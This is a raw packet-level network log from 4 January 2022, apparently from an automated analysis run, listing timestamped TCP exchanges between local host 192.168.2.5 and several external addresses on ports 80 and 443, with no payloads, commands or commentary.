Jan 4, 2022 19:33:43.520101070 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.520220041 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.520260096 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.520294905 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.520339966 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.520375013 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.520392895 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.520443916 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.520451069 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.520472050 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.520529032 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.520555973 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.520591021 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.520951986 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.520979881 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.550663948 CET	49862	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.585266113 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.585304022 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.585367918 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.610929966 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.611002922 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.611069918 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.625564098 CET	80	49862	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.625648022 CET	49862	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.625806093 CET	49862	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.625840902 CET	49862	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.700618982 CET	80	49862	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.701514959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.701548100 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.701611996 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.701626062 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.701636076 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.701694965 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.703600883 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.703648090 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.703671932 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.703715086 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.703965902 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.703994989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.704018116 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.704035044 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.704040051 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.704062939 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.704176903 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.704195023 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.706315994 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.706348896 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.706372023 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.706394911 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.706432104 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.706456900 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710223913 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710320950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710391998 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710423946 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710432053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710480928 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710519075 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710535049 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710580111 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710608006 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710623026 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710654974 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710679054 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710702896 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710714102 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710725069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710740089 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710751057 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710776091 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710793972 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710800886 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710825920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710841894 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710850954 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710875988 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710880995 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710900068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710925102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710933924 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710951090 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710974932 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.710988045 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.710998058 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.711020947 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.711034060 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.711049080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.711075068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.711083889 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.711100101 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.711123943 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.711138010 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.711149931 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.711174965 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.711189985 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.711200953 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.711245060 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.733340979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.733391047 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.733453035 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.734025002 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.734067917 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.734093904 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.734177113 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.734217882 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.734242916 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.748158932 CET	80	49862	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.748308897 CET	49862	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.748481035 CET	49862	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.775367975 CET	49863	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.823259115 CET	80	49862	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.834620953 CET	80	49863	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.834736109 CET	49863	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.834878922 CET	49863	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.834959030 CET	49863	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.854629993 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.854665041 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.854717970 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.880256891 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.880300045 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.880343914 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.894265890 CET	80	49863	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.937398911 CET	80	49863	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.937503099 CET	49863	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.937697887 CET	49863	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.964179993 CET	49864	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:43.964232922 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:43.964342117 CET	49864	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:43.964714050 CET	49864	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:43.964739084 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:43.970698118 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.970735073 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.970758915 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.970782042 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.970804930 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.970833063 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.972568989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.972600937 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.972798109 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.972944975 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.972974062 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.973320961 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.973386049 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.973444939 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.973465919 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.974349022 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.974378109 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.974435091 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.975317955 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.975346088 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.975368977 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.975389004 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.975414038 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.975462914 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980257988 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980292082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980310917 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980331898 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980354071 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980374098 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980396032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980401993 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980417967 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980433941 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980442047 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980467081 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980482101 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980489016 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980506897 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980514050 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980535984 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980539083 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980565071 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980587959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980588913 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980609894 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980633020 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980633020 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980655909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980678082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980680943 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980701923 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980726004 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980726957 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980746984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980771065 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980771065 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980798006 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980811119 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980817080 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980834961 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980894089 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980911016 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980927944 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.980933905 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980957985 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.980978966 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.981036901 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.981060982 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.997225046 CET	80	49863	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:44.002538919 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.002568960 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.002636909 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.003298044 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.003317118 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.003334045 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.003350973 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.003403902 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.056107998 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.056241989 CET	49864	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.058269024 CET	49864	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.058303118 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.058653116 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.059664965 CET	49864	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.100867987 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.118499994 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.118583918 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.118690014 CET	49864	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.118984938 CET	49864	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.119045973 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.119060993 CET	49864	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.119075060 CET	443	49864	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.123615980 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.123637915 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.123696089 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.144923925 CET	49865	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:44.149480104 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.149513960 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.149566889 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.219928980 CET	80	49865	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:44.220040083 CET	49865	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:44.220169067 CET	49865	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:44.220192909 CET	49865	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:44.239813089 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.239842892 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.239878893 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.239903927 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.240082979 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.240111113 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.241624117 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.241647959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.241714001 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.242130995 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.242156029 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.242269993 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.242295980 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.242336988 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.242450953 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.243119001 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.243141890 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.243350029 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.244169950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.244194031 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.244218111 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.244240999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.244265079 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.244296074 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.244528055 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.249743938 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.249855042 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.249881029 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.249919891 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.249946117 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.249969959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.249994040 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250017881 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250041962 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250096083 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250101089 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250133038 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250149965 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250155926 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250169039 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250199080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250221014 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250228882 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250261068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250292063 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250302076 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250323057 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250354052 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250382900 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250412941 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250417948 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250423908 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250446081 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250487089 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250490904 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250519037 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250540972 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250549078 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250581026 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250602961 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250612974 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250642061 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250672102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250701904 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250703096 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250734091 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250757933 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250788927 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.250804901 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250809908 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.250821114 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.251013041 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.271548986 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:44.271646976 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.271836996 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:44.295176983 CET	80	49865	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:44.337719917 CET	80	49847	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:44.337786913 CET	49847	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:44.348562002 CET	80	49865	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:44.348634958 CET	49865	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:44.348831892 CET	49865	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:44.378890991 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.378937960 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.379292965 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.379426003 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.379436970 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.423906088 CET	80	49865	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:44.425621986 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.425725937 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.427617073 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.427629948 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.427850962 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.428904057 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:44.472954988 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:44.541074991 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:45.561043978 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.561077118 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.561098099 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.561245918 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.561266899 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.561281919 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.561285973 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.561292887 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.561359882 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.561487913 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.586874008 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.586909056 CET	443	49866	144.76.136.153	192.168.2.5
